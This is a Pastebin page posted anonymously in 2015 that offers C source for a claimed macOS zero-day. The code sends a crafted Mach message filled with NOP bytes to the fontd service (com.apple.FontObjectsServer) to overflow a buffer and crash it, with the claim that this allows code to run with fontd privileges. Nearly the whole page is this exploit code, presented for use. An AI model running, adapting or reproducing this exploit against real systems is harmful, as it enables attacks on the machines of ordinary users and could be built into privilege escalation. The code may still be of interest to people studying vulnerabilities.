Advertisement
Guest User

OS X 0day - works on latest verz

a guest
Apr 30th, 2015
10,393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.14 KB | None | 0 0
  1. OS X 0day - works on latest verz
  2.  
  3. BO exploitation @ fontd, allows payload to run code with fontd privileges.
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <mach/mach.h>
  8. #include <servers/bootstrap.h>
  9.  
  10. #define SERVICE_NAME "com.apple.FontObjectsServer"
  11. #define DEFAULT_MSG_ID 46
  12.  
  13. #define EXIT_ON_MACH_ERROR(msg, retval, success_retval) if (kr != success_retval) { mach_error(msg ":" , kr); exit((retval)); }
  14.  
  15. typedef struct {
  16. mach_msg_header_t header;
  17. mach_msg_size_t descriptor_count;
  18. mach_msg_ool_descriptor64_t desc;
  19. } msg_format_send_t;
  20. typedef struct {
  21. u_int32_t int1;
  22. u_int32_t int2;
  23. u_int32_t size_data;
  24. char data[512];
  25. } hi_msg;
  26.  
  27. int main(int argc, char **argv) {
  28. kern_return_t kr;
  29. msg_format_send_t send_msg;
  30. mach_msg_header_t *send_hdr;
  31. mach_port_t server_port;
  32. vm_address_t hi_addr = 0;
  33. hi_msg *hello;
  34.  
  35. kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &server_port);
  36. EXIT_ON_MACH_ERROR("bootstrap_look_up", kr, BOOTSTRAP_SUCCESS);
  37.  
  38.         vm_allocate(mach_task_self(), &hi_addr, sizeof(hi_msg), VM_FLAGS_ANYWHERE);
  39. hello = (hi_msg *)hi_addr;
  40.  
  41. send_hdr = &(send_msg.header);
  42. send_hdr->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MOVE_SEND,0) | MACH_MSGH_BITS_COMPLEX;
  43. send_hdr->msgh_size = sizeof(send_msg);
  44. send_hdr->msgh_remote_port = server_port;
  45. send_hdr->msgh_local_port = MACH_PORT_NULL;
  46. send_hdr->msgh_id = DEFAULT_MSG_ID;
  47. send_msg.descriptor_count = 1;
  48. send_msg.desc.address = (uint64_t)hello;
  49. send_msg.desc.size = sizeof(hi_msg);
  50. send_msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
  51. printf("Sending... fontd will crash now.\n");
  52. hello->int1 = __builtin_bswap32(0x16);
  53. hello->int2 = __builtin_bswap32(0x01);
  54. hello->size_data = __builtin_bswap32(sizeof(hello->data));
  55. memset(hello->data, 0x90, sizeof(hello->data));
  56.  
  57. // send request
  58. kr = mach_msg(send_hdr, // message buffer
  59.         MACH_SEND_MSG, // option indicating send
  60.         send_hdr->msgh_size, // size of header + body
  61.         0, // receive limit
  62.         MACH_PORT_NULL, // receive name
  63.         MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever
  64.         MACH_PORT_NULL); // no notification port
  65. EXIT_ON_MACH_ERROR("mach_msg(send)", kr, MACH_MSG_SUCCESS);
  66.  
  67. printf("Exiting\n");
  68. exit(0);
  69. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement